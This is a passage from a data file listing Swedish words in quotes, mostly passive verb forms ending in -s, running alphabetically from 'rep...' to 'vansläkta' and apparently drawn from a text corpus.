,"reparerades","repareras","reparerats","repas","repatrierades","repatrieras","repats","repererades","repeterades","repeteras","repeterats","reppas","reprenteras","representerades","representeras","representerats","repriserades","repriseras","reprisvisas","reproduceras","reproducerats","res","resas","reservades","reserverades","reserveras","reserverats","reserves","reses","resonerades","resoneras","respekterades","respekteras","respekterats","restaurerades","restaureras","restaurerats","restes","rests","resulterades","results","retts","returnerades","returneras","returnerats","retuscherades","retuscheras","retuscherats","revalveras","revbensopereras","reviderades","revideras","reviderats","revolutioneras","revolutionerats","revs","rhodes","rias","ridas","rids","riggades","riggas","riksdagsbehandlas","riktades","riktas","riktats","rimmas","ringades","ringaktas","ringas","ringats","ringbarkas","ringdes","ringmärks","ringmärktes","rings","ringts","risades","risas","risats","riseras","riskerades","riskeras","riskerats","rispades","rispats","ristades","ristas","ristats","ritades","ritas","ritats","ritualiserades","ritualiseras","rivas","rives","rivits","rivs","roades","roas","roats","robotbesköts","robotiseras","rockas","roddes","rohmers","rojas","röjas","röjdes","röjs","röjts","rökas","rökfylldes","roks","röks","rökskadas","röktes","rökts","rollas","rollbesatts","rollerblades","romanes","romantiserades","romantiseras","rommas","röntes","röntgades","röntgas","röntgats","rönts","ropades","ropas","ropats","röras","rördes","röres","rörs","rörts","ros","rös","rosades","rosafärgas","rosas","rosats","rosenqvists","rostades","röstades","rostas","röstas","rostats","röstats","rostkyddsbehandlas","rostskyddsbehandlas","rotades","rotas","rötas","rotats","rövades","rövas","rövats","rovdjursdödas","rubbades","rubbas","rubbats","rubricerades","rubriceras","rubricerats","ruckades","ruckas","ruckats","rufsats","ruggats","ruinerades","ruineras","ruinerats","rules","rullades","rullas","rullats","rumlades","rundades","rundas","rundats","rusades","ruskades","ruskas","rustades","rustas","rustats","ryckas","rycks","rycktes","ryckts","ryggskadas","ryktades","ryktas","ryktats","rymms","rynkades","rynkas","rynkats","sabbats","sablades","sablas","sablats","saboterades","saboteras","saboterats","såddes","sades","saftades","saftas","sågades","sågas","sägas","sågats","säges","sägs","sagts","säjs","sakades","sakas","sakbehandlas","säkerhetsklassas","säkerhetsklassats","säkerhetskontrollerats","säkerhetslås","säkerhetsprövas","säkerställas","säkerställs","säkerställts","saknades","saknas","saknats","säkrades","säkras","säkrats","saktades","saktas","såldes","salinas","säljas","säljes","säljs","sållades","sållas","sållats","saltades","saltas","saltats","sålts","saluföras","salufördes","saluförs","samägas","samägs","sambos","samhälls","samköras","samlades","samlas","samlats","samlokaliserats","sammanbindas","sammanblandas","sammanblandats","sammanbringats","sammanbyggts","sammandragits","sammandrogs","sammanfattades","sammanfattas","sammanfattats","sammanflätades","sammanflätas","sammanfogades","sammanfogas","sammanfogats","sammanföras","sammanfördes","sammanförs","sammanförts","sammanhålles","sammanhålls","sammanjämkas","sammankallades","sammankallas","sammankallats","sammanknippades","sammanknippas","sammankopplas","sammanlänkas","sammanlyses","sammansatts","sammanslås","sammansmälts","sammanställas","sammanställdes","sammanställs","sammanställts","sammansvetsas","sammanvägas","sammanvägs","sammanvävas","sammanvigs","samordnades","samordnas","samordnats","samövas","sampas","samplades","sams","samtalas","samverkas","sandas","sändas","sandblästrats","sändes","sänds","sanerades","saneras","sanerats","sängplats","sänkas","sänkes","sänks","sänktes","sanktioneras","sanktionerats","sänkts","sänts","saperas","sårades","såras","säras","sårats","särbehandlades","särbehandlas","särbehandlats","särbeskattas","sargades","sargas","sargats","särmärkas","särnoteras","sarrautes","särredovisas","särskildes","särskiljas","sas","sås","satanas","satsades","satsas","satsats","sättas","sattes","sättes","satts","såtts","sätts","scarletts","schabblas","schablonberäknas","schabloniserats","schackras","schackrats","schaktades","schaktas","schasas","schemalades","schemaläggas","schemaläggs","schnapps","schweppes","scorseses","scoutades","scoutats","seedades","seedas","seglades","seglarskolas","seglas","seglats","segregerats","sehlstedts","sehnsuchts","sekretessbeläggs","sekretessbelagts","sekretessläggs","sekretesstämplas","sekulariserades","sekulariseras","sekunderades","sekunderas","sekvenseras","selekteras","senarelades","senareläggas","senareläggs","senarelagts","sentimentaliserades","separerades","separeras","separerats","seriekopplas","serieproducerades","serietillverkas","serietillverkats","servas","serverades","serveras","serverats","setts","severas","sexdubblades","sexfaldigats","sextrakasseras","sfinnas","shardiks","shinglas","shonas","sias","sicas","sidenförsätts","sidoackrediteras","sidoordnas","sidsteppades","sifferbestämmas","signalerades","signaleras","signaliserades","signerades","signeras","signerats","siktades","siktas","siktats","silades","silas","simmas","simuleras","simulerats","sindings","sinkades","sinkas","sinkats","sintras","sirpas","sittas","sivas","sjabblades","sjabblas","självfinansieras","självregleras","sjanghajas","sjasas","sjöds","sjöngs","sjösättas","sjösattes","sjösatts","sjösätts","sjufaldigats","sjukdomsförklarats","sjukskrivas","sjukskrivits","sjukskrivs","sjungas","sjunges","sjungits","sjungs","skadades","skadas","skådas","skadats","skådats","skades","skaffades","skaffas","skaffats","skakades","skakas","skakats","skäktas","skalades","skålades","skalas","skålas","skalats","skalkeas","skallades","skållas","skällas","skälldes","skälls","skålslipas","skambeläggs","skämdes","skamfilats","skämmas","skäms","skämtades","skämtas","skämts","skändades","skandaliserades","skändas","skändats","skanderades","skanderas","skänkas","skänkes","skänks","skänktes","skänkts","skapades","skåpades","skapas","skåpas","skapats","skåras","skäras","skäres","skärhöras","skärmades","skärmas","skärpas","skarpnäcks","skärps","skärptes","skärpts","skars","skärs","skärscannrats","skärskådades","skärskådas","skarvades","skarvas","skattades","skattas","skattebefrias","skattefinansieras","skatteprivilegieras","skattesubventineras","skattesubventioneras","skattlades","skavas","skavdes","skavts","skenbeskattas","skeppades","skeppas","skeppats","skickades","skickas","skickats","skickliggjordes","skiftades","skiftas","skiftats","skiktas","skildes","skildrades","skildras","skildrats","skiljas","skiljdes","skiljs","skiljts","skilldes","skils","skilts","skingrades","skingras","skingrats","skinnades","skinnas","skinnheads","skins","skipades","skipas","skipats","skippades","skissades","skissas","skissats","skisserades","skisseras","skisserats","skivas","skivats","skivinspelas","skjöts","skjutas","skjutits","skjuts","skjutsades","skjutsas","skockades","skockas","skockats","skogas","skogås","skojades","skojas","skojats","skolades","skolas","skolats","sköljas","sköljdes","sköljs","sköljts","skolmognadstestas","skonades","skonas","skonats","skönjas","skönjdes","skönjes","skönjs","sköntaxeras","sköras","skördades","skördas","skördats","skörtats","skotas","skötas","sköts","skottas","skottats","sköttes","skötts","skottskadades","skottskadas","skottskadats","skovlades","skövlades","skovlas","skövlas","skövlats","skräddarsyddes","skräddarsys","skräddarsytts","skräddas","skrålades","skrålas","skrämdes","skrämmas","skräms","skränas","skrapades","skrapas","skrapats","skrattades","skrattas","skrattats","skrävlas","skreds","skreks","skrevs","skrikas","skriks","skringrats","skrinlades","skrinläggas","skrinläggs","skrinlagts","skrivas","skrives","skrivits","skrivs","skrotades","skrotas","skrotats","skröts","skrubbades","skrubbas","skrubbats","skrudas","skruvades","skruvas","skruvats","skrynklades","skuffades","skuffas","skuffats","skuggades","skuggas","skuggats","skuggboxades","skuggboxas","skuldbeläggs","skulpterades","skulpteras","skulpterats","skummas","skummats","skurades","skuras","skurats","skurits","skvallrades","skvallras","skvalpas","skvätts","skyddades","skyddas","skyddats","skyddes","skyfflades","skyfflas","skyfflats","skylas","skyles","skyllas","skylldes","skylls","skyllts","skyls","skyltades","skyltas","skyltats","skymdes","skymfas","skymfats","skymmas","skyms","skymtades","skymtas","skymts","skyndas","skyttegilles","släckas","släcks","släcktes","släckts","slaktades","slaktas","slaktats","slammades","slammas","slamras","slamsas","slängas","slängdes","slänges","slängs","slängts","släpades","släpas","släpats","slappades","släppas","släppptes","släpps","släpptes","släppts","slarvades","slarvas","slarvats","slås","slätades","slätas","slätats","slåttrades","slåttras","slavas","slets","slickades","slickas","slickats","slipades","slipas","slipats","slitas","slites","slitits","slits","slopades","slopas","slopats","slösas","slösats","slöts","slukades","slukas","slukats","slumpades","slumpas","slumsaneras","slungades","slungas","slungats","slussades","slussas","slussats","slutades","slutas","slutavverkades","slutbearbetas","slutbehandlas","slutbetalades","slutbetalas","slutes","slutföras","slutfördes","slutförhandlades","slutförhandlas","slutförhandlats","slutförs","slutförts","slutförvaras","slutits","slutlevereras","slutmonteras","slutnoterades","slutrepeteras","sluts","slutspelas","sluttestas","småbråkas","smädas","småfräs","småfrös","småjävlas","smakas","smaksättas","smaksättes","smaksatts","smaksätts","smakvarieras","smälldes","smalls","smälls","smällts","smalnas","smältas","smältes","smälts","småretades","smekas","smeks","smektes","smetades","smetas","smetats","smets","smidas","smiddes","smides","smidits","smids","sminkades","sminkas","smiskas","smittades","smittas","smittats","smitts","smögs","smordes","smörjas","smörjs","smorts","smugglades","smugglas","smugglats","smugits","smulades","smulas","smulats","smusslades","smusslas","smusslats","smutsades","smutsas","smutsats","smutskastas","smuttas","smyckades","smyckas","smyckats","smygas","smygavlyssnades","smygfilmades","smygits","smygs","snabbbehandlas","snabbehandlas","snabbfrysas","snabbinkallades","snabbinkallas","snabbkäftades","snabbkopieras","snabbladdas","snabbredigeras","snabbreparerats","snabbstoppades","snabbstoppas","snabbtolkas","snabbutbildas","snabbutredas","snabbutreds","snackades","snackas","snackats","snålas","snålkodas","snappades","snappas","snarats","snärjas","snärjdes","snärjs","snärjts","snattas","snävas","snävats","snedgås","snedvridas","snedvridits","snedvrids","sneglas","snickrades","snickrats","sniffas","snittas","snöpas","snördes","snörptes","snörs","snörts","snörvlades","snos","snotts","snubblas","snuddades","snurrades","snurras","snuttas","snuvades","snuvas","snuvats","snyftades","snyggas","snyggats","snyltas","soares","socialdelegerades","socialiseras","socialiserats","socialistes","sockras","sockrats","södras","sögs","sökas","sökes","söks","söktes","sökts","sölades","solas","solkas","solkats","solochvåras","sonas","soncks","sönderdelas","sönderskakas","sönderslets","sönderslitas","sönderstyckades","sondmatades","söndras","songs","sopades","sopas","sopats","söps","sörjdes","sörjes","sörjs","sorlades","sorlas","sörplas","sorterades","sorteras","sorterats","sotades","sötades","sotas","sötas","sötats","sovas","sövas","sövdes","sovelbitarnas","sovras","sovs","sövs","sövts","späckas","spacklas","spädas","spåddes","späddes","späds","spaghettisås","spaltades","spaltas","spanas","spändes","spångas","spännas","spanns","spänns","spänts","sparades","spårades","sparas","spåras","sparats","spårats","sparkades","sparkas","sparkats","spärrades","spärras","spärrats","spärrförklarats","spås","späs","spåtts","spätts","specialbeställas","specialbeställdes","specialbeställts","specialbevakas","specialbyggdes","specialbyggts","specialdesignats","specialdestineras","specialdrillas","specialgranskades","specialgranskats","specialinretts","specialiseras","specialistutbildades","specialkonstruerades","speciallottats","specialpreparerats","specialrekryterats","specialriktats","specialskrevs","specialskrivs","specialstuderades","specialtillverkas","specialutbildas","specialutbildats","specificerades","specificeras","specificerats","speedas","speglades","speglas","speglats","spejas","spekulerades","spekuleras","spekulerats","spelades","spelas","spelats","spenderades","spenderas","spenderats","spetsades","spetsas","spetsats","spikades","spikas","spikats","spillas","spilldes","spills","spillts","spinnas","spinns","spioneras","spionmisstänktes","spiras","spisas","spjälkades","spjälkas","splitsas","splitterskadades","splittrades","splittras","splittrats","spolades","spolas","spolats","spolierades","spolieras","spolierats","sponsrades","sponsras","sponsrats","spörjs","sporrades","sporras","spörs","sports","spottades","spottas","spräckas","spräcks","spräcktes","spräckts","språktestas","sprängas","sprangs","sprängs","sprängts","sprättades","sprättas","sprätts","sprayas","sprayats","spreds","sprejas","sprejats","spridas","spriddes","sprides","spridits","sprids","springas","springs","spritas","spritsas","spritsats","spritts","sprödvärmts","sprungits","sprutades","sprutas","spunnits","spurtades","stabiliserades","stabiliseras","stabiliserats","stäckas","stacks","stäcktes","städades","städas","städats","städes","stadfästas","stadfästes","stadfästs","stadgas","stadgats","städslades","städslas","städslats","stagades","stagas","stajlas","stakades","stakas","stakats","stålas","stallas","ställas","ställdes","ställes","ställs","ställts","stals","stämdes","stammas","stämmas","stampades","stampas","stämplades","stämplas","stämplats","stäms","stämts","ständigtmåstegöras","stångades","stångas","stängas","stångats","stängdes","stängs","stängts","stånkas","stänkas","stänkts","stannades","stansas","stansats","staplades","staplas","staplats","starkars","stärkas","stärks","stärktes","stärkts","startades","startas","startats","startgas","stås","stationerades","stationeras","stationerats","statuerades","statueras","stavades","stavas","stavats","stävjas","stegas","steglas","stegrades","stegras","stegrats","stekas","steks","stektes","stekts","stenades","stenas","stencilerats","stenungsundshems","steriliseras","stickas","stickats","sticks","stiftades","stiftas","stiftats","stigmatiserades","stigmatiseras","stiliserats","stillas","stillats","stills","stimmades","stimulerades","stimuleras","stimulerats","stipendierats","stipulerades","stipuleras","stjälas","stjälpas","stjälps","stjälptes","stjäls","stockas","stockholmsanpassats","stockholmutsätts","stöddes","stödjas","stöds","stöldanmäldes","stöldanmälts","stöldresas","stomiopererades","stomiopereras","stöpas","stoppades","stoppas","stoppats","stopppades","stöps","stöptes","stöpts","störas","stördes","storklas","stormades","stormas","stormats","stormfälldes","stormtrivas","stormtrivs","störs","storstädas","storstädats","störtades","störtas","störtats","stortrivas","stortrivdes","stortrivs","stortrutades","störts","stötas","stötes","stöts","stöttades","stöttas","stöttats","stöttes","stötts","sträckas","sträcks","sträcktes","sträckts","straffades","straffas","straffats","straffbeläggas","straffbeskattas","straffsanktioneras","strålas","strålbehandlas","strålbehandlats","strålningstestas","strålskadades","stramades","stramas","stramats","strandades","strandats","strandsattes","strävas","streckas","strejkas","strejkats","stressades","stressas","stretchats","strids","strilas","strimlas","strimlats","strimmades","ströddes","ströks","strömlinjeformas","ströps","strös","strötts","strukits","strukturerades","struktureras","strukturerats","strukturrationaliserades","strykas","strykes","stryks","strypas","strypes","stryps","stryptes","strypts","stuckits","studerades","studeras","studerats","stuffas","stukades","stukas","stukats","stulits","stunts","stuvades","stuvas","stuvats","styckades","styckas","styckats","stylades","stylas","stylats","stympades","stympas","stympats","styras","styrdes","styrkas","styrks","styrktes","styrkts","styrs","styrts","sublimeras","subtraheras","subventionerades","subventioneras","subventionerats","suckas","suddades","suddas","suddats","sufflerats","sugas","suges","sugits","sugs","summerades","summeras","summerats","supes","supits","sups","surkörs","surrades","surras","susades","suspenderades","suspenderas","suspenderats","svagbegåvades","svaldes","sväljas","sväljs","svalkas","svälldes","svältas","svälts","svämmas","svämmats","svängdes","svängs","svängts","svanskuperas","svarades","svaras","sväras","svärs","svärtades","svärtas","svärtats","svartlistades","svartlistas","svartlistats","svartmålades","svartmålas","svartmålats","svedas","svekivs","sveks","svennevads","svepas","svepes","sveps","sveptes","svepts","svetlas","svetsades","svetsas","svikas","svikits","sviks","svinas","svingades","svingas","svors","svurits","swandes","syddes","sydgas","syds","syftas","sykes","syltades","syltas","symboliserades","symboliseras","sympatilockoutas","sympatiseras","synades","synats","syndats","synkroniseras","synliggjordes","synliggjorts","synliggöras","synliggörs","syntetiserats","syresättas","syresätts","syrsätts","sys","sysselsättas","sysselsattes","sysselsätts","sytts","tackades","tackas","täckas","tacklades","tacklas","täcks","täcktes","täckts","tagas","tages","tagits","tags","talades","talas","tålas","talats","tåldes","tallas","tallriksserveras","tåls","talts","tämjas","tämjs","tämjts","tändas","tändes","tänds","tångas","tangerades","tangeras","tangerats","tangiers","tångonduleras","tänjas","tänjdes","tänjes","tänjs","tänjts","tankas","tänkas","tänkes","tänks","tänkts","tänts","tapetserades","tapetserats","tappades","tappas","tappats","täpps","tårades","tareras","tärnas","tärts","tarvas","tas","tasslades","tasslas","tätades","tätas","tävlades","tävlas","tävlats","taxeras","taxerats","technologies","tecknades","tecknas","tecknats","tegs","teiresias","tejakulas","tejpades","tejpas","tejpats","teknologiseras","telefaxbekräftas","telefonavlyssnas","telefonerades","telefonintervjuades","telefonterroriseras","telegraferats","televiserades","televiseras","telias","telomeras","tematiserades","tematiseras","tempereras","terminerats","terminssäkras","terroriserades","terroriseras","terroriserats","terroriststämplas","terroriststämplats","testades","testamenterats","testas","testats","testkörs","textas","thorgils","tidigarelades","tidigareläggas","tidigareläggs","tidigarelagts","tidsbegränsas","tidsbegränsats","tidsbestämdes","tidsbestämmas","tidsbestäms","tidsbestämts","tidsflödes","tidsordnats","tietotehdas","tigits","tigs","tillades","tillagas","tillägas","tilläggas","tilläggs","tilläggsdebiteras","tillägnades","tillägnas","tillägnats","tillämmpas","tillämpades","tillämpas","tillämpats","tillåtas","tillåtes","tillåtits","tillåts","tilläts","tillbads","tillbakabildas","tillbakabildats","tillbakavisades","tillbakavisas","tillbakavisats","tillbakes","tillbes","tillbetts","tillbringades","tillbringas","tillbyggts","tillbytas","tilldelades","tilldelas","tilldelats","tilldömas","tilldömdes","tilldöms","tilldömts","tillerkändes","tillerkännas","tillerkänns","tillerkänts","tillfångatagits","tillfångatas","tillfångatogs","tillfogades","tillfogas","tillfogats","tillföras","tillfördes","tillförs","tillförsäkras","tillförsäkrats","tillförts","tillfrågades","tillfrågas","tillfrågats","tillfredsställas","tillfredsställdes","tillfredsställs","tillgivits","tillgodoräknas","tillgodosågs","tillgodoses","tillgodosetts","tillgreps","tillgripas","tillgripes","tillgripits","tillgrips","tillhållas","tillhålls","tillhandahållas","tillhandahålles","tillhandahålls","tillhandahölls","tillhandhölls","tillhölls","tillintetgjorts","tillintetgörs","tillkallades","tillkallas","tillkallats","tillkännagavs","tillkännages","tillkännagetts","tillkännagivits","tillläggas","tilllämpas","tilllämpats","tilllåtas","tilllåtits","tilllåts","tillläts","tillmätas","tillmätits","tillmäts","tillmättes","tillmätts","tillmötesgås","tillönskas","tillordnas","tillråddes","tillrådes","tillråds","tillrättaläggs","tillrättavisas","tillredas","tillreds","tillretts","tillryggalades","tillsägs","tillsagts","tillsamamns","tillsammamns","tillsammas","tillsammns","tillsändas","tillsas","tillsättas","tillsattes","tillsatts","tillsätts","tillses","tillskapas","tillskapats","tillskjuts","tillskrevs","tillskrivas","tillskrives","tillskrivits","tillskrivs","tillspetsades","tillspetsas","tillspetsats","tillställas","tillställdes","tillställs","tillställts","tillstås","tillstyrks","tillstyrktes","tillstyrkts","tilltalades","tilltalas","tilltalats","tillträdas","tilltros","tillvaratagas","tillvaratagits","tillvaratas","tillvaratogs","tillverkades","tillverkas","tillverkats","tillvitades","tillvitas","tillvitats","tillyxas","tinas","tinats","tingades","tingas","tingats","tiodubblades","tiodubblas","tiodubblats","tiofaldigades","tiofaldigas","tiofaldigats","tippades","tippas","tippats","tipsades","tipsas","tipsats","tisslades","tisslas","tittas","titulerades","tituleras","tivs","tjafsas","tjågas","tjänades","tjänas","tjänats","tjatades","tjatas","tjatats","tjoas","tjubajs","tjudras","tjusades","tjusas","tjusats","tjuvkopplas","tjuvlästes","tjyvröktes","togs","töjdes","töjs","tolererades","tolereras","tolererats","tolkades","tolkas","tolkats","tolvdubblats","tolvfaldigats","tömdes","tömmas","tommingas","töms","tömts","tonades","tonas","tonats","toppades","toppas","toppats","topplaceras","topprenoverats","toppseedats","toppstyras","tordas","torgföras","torgfördes","torgförs","torkades","torkas","torkats","tornbas","torpederades","torpederas","torpederats","torrkokas","torrlades","torrläggas","torrläggs","torrlagts","torrmarineras","torrsättas","torrsätts","torterades","torteras","torterats","torts","totalassimilerats","totalavvekas","totalbojkottats","totaldemolerats","totalfinansieras","totalförbjöds","totalförbjudas","totalförbjudits","totalförbjuds","totalförlamades","totalförlamas","totalförstöras","totalförstördes","totalförstörs","totalförstörts","totalförsvarspliktigas","totalfredades","totalintegrerats","totalredovisas","totalrenoverades","totalrenoveras","totalsaneras","totalstoppas","tråcklas","tradades","tråddes","träddes","traderas","traderats","trades","trådhäftades","trådhäftas","träds","träffades","träffats","trafikerades","trafikeras","trafikerats","tragglas","trakasserades","trakasseras","trakasserats","trakterades","trakteras","trakterats","trampades","trampats","tramsas","tränades","tränas","tränats","trängas","trängdes","trängs","trängts","transformerades","transformeras","transformerats","transkriberas","transplanterades","transplanteras","transplanterats","transponeras","transporterades","transporteras","transporterats","transportvigas","trappades","trappas","trappats","träs","trasades","trasas","trasats","trasslas","trätas","trätts","traumatiserats","travades","travas","travats","travintresserades","tredskades","tredskas","tredubblades","tredubblas","tredubblats","trefaldigades","trefaldigas","trefaldigats","triffids","trimmades","trimmas","trimmats","trissades","trissats","trivialiserats","trixas","troddes","trollades","trollas","trollats","trollbands","trollbindas","trollbinds","trollbundits","tros","tröskas","tröskats","tröstades","tröstas","tröstats","tröttas","trotts","trotzigs","trubbades","trubbas","trubbats","trumfades","trumfas","trummas","trummats","trumpetades","tryckas","tryckes","trycks","trycktes","tryckts","tryfferades","tryfferas","tryfferats","tryggas","trygghetsavtalets","tryzas","tsokas","tsvetajevas","tubbades","tubbas","tudelades","tudelas","tuggades","tuggas","tuggats","tugindas","tuktades","tuktas","tuktats","tullas","tullbehandlas","tullinges","tullvisiteras","tummas","tunnades","tunnas","tunnats","turades","turas","turats","turistifierats","turneras","tusendubblats","tussas","tutades","tutas","tvåddes","tvålades","tvangs","tvångsanslutas","tvångsavverkades","tvångsevakuerats","tvångsförflyttades","tvångsförflyttas","tvångsförflyttats","tvångsförvaltas","tvångsinlösas","tvångsintagits","tvångskommenderades","tvångskommenderas","tvångsmatades","tvångsmatas","tvångsmatats","tvångsnedflyttades","tvångsomhändertagits","tvångsomhändertas","tvångsomhändertogs","tvångspensionerats","tvångsplaceras","tvångsrekryterades","tvångsrekryteras","tvångstömdes","tvångsvårdas","tvångsvårdats","tvångsvärvas","tvås","tvättades","tvättas","tvättats","tvingades","tvingas","tvingats","tvinnades","tvinnas","tvistades","tvistas","tvistats","tyas","tydas","tyddes","tydliggjordes","tydliggjorts","tydliggöras","tydliggörs","tyds","tyglades","tyglas","tyngas","tyngdes","tyngs","tyngts","typiseras","tyranniserats","tyrolersås","tystades","tystas","tystats","uefas","ugnsbakas","undandras","undanhållas","undanhållits","undanhålls","undanhölls","undanröjas","undanröjdes","undanröjs","undanröjts","undantagits","undantas","undantogs","undanträngas","undanträngs","underbalanseras","underblåses","underblåstes","underbyggs","underdånas","underförstås","undergrävas","undergrävdes","undergrävs","undergrävts","underhållas","underhållits","underhålls","underhölls","underkändes","underkännas","underkänns","underkänts","underkastades","underkastas","underkastats","underkuvas","underkuvats","underlåtas","underlättades","underlättas","underlättats","underminerades","undermineras","underminerats","underordnades","underordnas","underordnats","underrättades","underrättas","underrättats","underskattades","underskattas","underskattats","underskreds","underskridas","underskridits","underskrids","undersökas","undersöks","undersöktes","undersökts","underställas","underställs","understöddes","understödjas","understöds","understötts","underströks","understrukits","understrykas","understryks","undertecknades","undertecknas","undertecknats","underträffades","undertryckas","undertrycks","undertryckts","undervärderas","undervärderats","undervisades","undervisas","undervisats","undfägnades","undfägnas","undfägnats","undrades","undras","undrats","undsättas","undsattes","undvaras","undveks","undvikas","undvikes","undvikits","undviks","unitas","unlimiteds","unnades","unnas","unnras","uoppskattas","upgavs","upmanades","uppammas","uppammats","upparbetas","upparbetats","uppättades","uppbådades","uppbådas","uppbäras","uppbars","uppblandas","uppbrännas","uppbringades","uppbringas","uppbringats","uppbyggas","uppbyggnadsfas","uppdagades","uppdagas","uppdagats","uppdateras","uppdaterats","uppdelades","uppdelas","uppdragits","uppdras","uppdrogs","uppehållas","uppehölls","uppenbarades","uppenbaras","uppenbarats","uppfångades","uppfångas","uppfångats","uppfanns","uppfattades","uppfattas","uppfattats","uppfinnas","uppfinns","uppfödas","uppföddes","uppföds","uppföras","uppfördes","uppförs","uppförstorades","uppförstoras","uppförts","uppfostrades","uppfostras","uppfostrats","uppfunnits","uppfyllas","uppfylles","uppfylls","uppgavs","uppges","uppgetts","uppgives","uppgivits","uppgraderades","uppgraderas","uppgraderats","upphandlades","upphandlas","upphandlats","upphävas","upphävdes","upphävs","upphävts","upphettades","upphettas","upphöjas","upphöjdes","upphöjs","upphöjts","uppjusteras","uppjusterats","uppkallades","uppkallas","uppkallats","upplageras","uppläsas","uppläses","upplästes","upplästs","upplåtas","upplåtes","upplåtits","upplåts","uppläts","uppletas","upplevas","upplevdes","upplevs","upplevts","upplivades","upplös","upplösas","upplöses","upplöstes","upplösts","upplysas","upplyses","upplystes","upplysts","uppmäksammats","uppmålas","uppmanades","uppmanas","uppmanats","uppmandes","uppmärksammades","uppmärksammas","uppmärksammats","uppmätas","uppmäts","uppmättes","uppmätts","uppmuntrades","uppmuntras","uppmuntrats","uppnåddes","uppnås","uppnåtts","uppövats","upppdagas","uppräknades","upprätas","upprättades","upprättas","upprättats","upprätthållas","upprätthålles","upprätthållits","upprätthålls","upprätthölls","upprepades","upprepas","upprepats","uppresas","uppreses","upprestes","uppröras","upprördes","upprörs","upprörts","upprustas","uppsamlades","uppsändas","uppsättas","uppsattes","uppsatts","uppskalas","uppskattades","uppskattas","uppskattats","uppskjutas","uppskjutits","uppskjuts","uppsköts","uppslukades","uppslukas","uppslukats","uppsnappas","uppsökas","uppsöks","uppsöktes","uppsökts","uppställas","uppställs","uppställts","upptäckas","upptäcks","upptäcktes","upptäckts","upptagas","upptages","upptagits","upptändes","upptänds","upptänts","upptas","upptaxeras","upptecknades","upptecknats","upptogs","uppväckas","uppväcktes","uppvägas","uppvägdes","uppvägs","uppvägts","uppvaktades","uppvaktas","uppvaktats","uppvärderades","uppvärderas","uppvärmdes","uppvisades","uppvisas","uppvisningflygas","urbaniserats","urgröps","urholkades","urholkas","urholkats","urkalkas","urladdas","urlakats","ursäktas","ursäktats","urskiljas","urskiljs","urskuldas","uruppföras","uruppfördes","uruppförs","uruppförts","urvattnas","usurperats","utandades","utandas","utandats","utannonserades","utannonseras","utannonserats","utanordnats","utarbetades","utarbetas","utarbetats","utarmades","utarmas","utarmats","utarrenderas","utbasunerades","utbasuneras","utbetalades","utbetalas","utbetalats","utbildades","utbildas","utbildats","utbjöds","utbjudas","utbjuds","utbringades","utbringas","utbroderas","utbyts","utbyttes","utbytts","utdefinieras","utdelades","utdelas","utdelats","utdikades","utdömas","utdömdes","utdöms","utdömts","utdrivas","utelämnas","utelämnats","uteslöts","uteslutas","uteslutits","utesluts","utestängas","utestängdes","utestängs","utestängts","utexaminerades","utexamineras","utexaminerats","utfalls","utfärdades","utfärdas","utfärdats","utfästas","utfästs","utflyttas","utfodras","utföras","utfördelas","utfördes","utfordras","utfordrats","utföres","utformades","utformas","utformats","utförs","utförsäkras","utförsäljas","utforskades","utforskas","utförts","utfösas","utfrågades","utfrågas","utfrågats","utgavs","utges","utgetts","utgivits","utgjordes","utgjorts","utgjutits","utglesas","utgöras","utgöres","utgörs","uthärdas","uthyrdes","utjämnades","utjämnas","utjämnats","utkämpades","utkämpas","utkämpats","utklassats","utkommenderades","utkonkurrerades","utkonkurreras","utkoras","utkorats","utkrävas","utkrävdes","utkräves","utkrävts","utkrisalliseras","utkristalliserades","utkristalliseras","utkristalliserats","utkvitteras","utlades","utläggas","utläggs","utlämnades","utlämnas","utlämnats","utlandsstationerades","utlandstationerades","utläs","utläsas","utläses","utlokaliserades","utlokaliseras","utlokaliserats","utlösas","utlöses","utlöstes","utlösts","utlottades","utlottas","utlovades","utlovas","utlovats","utlys","utlysas","utlyses","utlystes","utlysts","utmålades","utmålas","utmålats","utmanades","utmanas","utmanats","utmanövrerades","utmanövreras","utmärkas","utmärks","utmärktes","utmärkts","utmätas","utmäts","utmattas","utmättes","utmätts","utmejslades","utminuterades","utmönstrades","utmönstras","utnämnas","utnämndes","utnämns","utnämnts","utnyttjades","utnyttjas","utnyttjats","utoands","utökades","utökas","utökats","utövades","utövas","utövats","utpekades","utpekas","utpekats","utplacerades","utplaceras","utplacerats","utplånades","utplånas","utplånats","utplanteras","utposteras","utpressas","utpressats","utprovades","utprovas","utprovats","utraderades","utraderas","utraderats","utrangeras","utrangerats","uträttades","uträttas","uträttats","utredas","utreddes","utredningshäktades","utreds","utrensades","utretts","utropades","utropas","utropats","utrotades","utrotas","utrotats","utrustades","utrustas","utrustats","utrycks","utrymdes","utrymmas","utryms","utrymts","utsades","utsägas","utsågs","utsägs","utsagts","utsändas","utsändes","utsänds","utsänts","utsättas","utsattes","utsättes","utsatts","utsätts","utses","utsetts","utsiras","utskeppas","utskiljas","utslungas","utslungats","utsmyckas","utsöndras","utspanns","utspelades","utspelas","utspelats","utspionerades","utspisades","utspisas","utspisats","utstakades","utstakats","utställas","utställdes","utställs","utstöttes","utsträckas","utsträcks","utsträcktes","utstrålas","utströs","uttages","uttagits","uttalades","uttalas","uttalats","uttänkas","uttas","uttnyttjas","uttogs","uttolkas","uttöms","utträttats","uttröttas","uttryckas","uttrycks","uttrycktes","uttryckts","utttrycks","uttunnades","uttunnas","uttydas","uttydes","uttyds","utuppfördes","utvaldes","utväljas","utvalts","utvanns","utvärderades","utvärderas","utvärderats","utvattnas","utväxlades","utväxlas","utväxlats","utveckas","utvecklades","utvecklas","utvecklats","utveklas","utverkats","utvidgades","utvidgas","utvidgats","utvinnas","utvinns","utvisades","utvisas","utvisats","utvunnits","uvecklas","uvecklats","vaccinerades","vaccineras","vaccinerats","vachettes","väckas","väcks","väcktes","väckts","vådaskjuts","vådasköts","vades","vädrades","vädras","vädrats","vågas","vägas","vägdes","väges","vaggades","vaggas","vaggats","vägledas","vägleddes","vägleds","vägletts","vägrades","vägras","vägrats","vägs","vägts","vakantsätts","vaktades","vaktas","vakuummöras","valderas","valdes","våldtagits","våldtas","våldtogs","valenciennes","väljas","väljes","väljs","välkomnades","välkomnas","välkomnats","vallades","vållades","vallas","vallås","vållas","vållats","vallfärdas","valsas","välsignades","välsignas","välsignats","vältas","vältes","vältrades","vältras","vältrats","valts","välts","välvdes","välvs","vämjdes","vanäras","våndades","vandaliserades","vandaliseras","vandaliserats","våndas","vändas","våndats","vandes","vändes","vandkunsts","vandrades","vandras","vänds","vändsteks","vanhedrats","vanhelgas","vanhelgats","vänjas","vankades","vankats","vanns","vanprydas","vanskötas","vansköts","vansköttes","vansläktades","vansläktas","vansläkta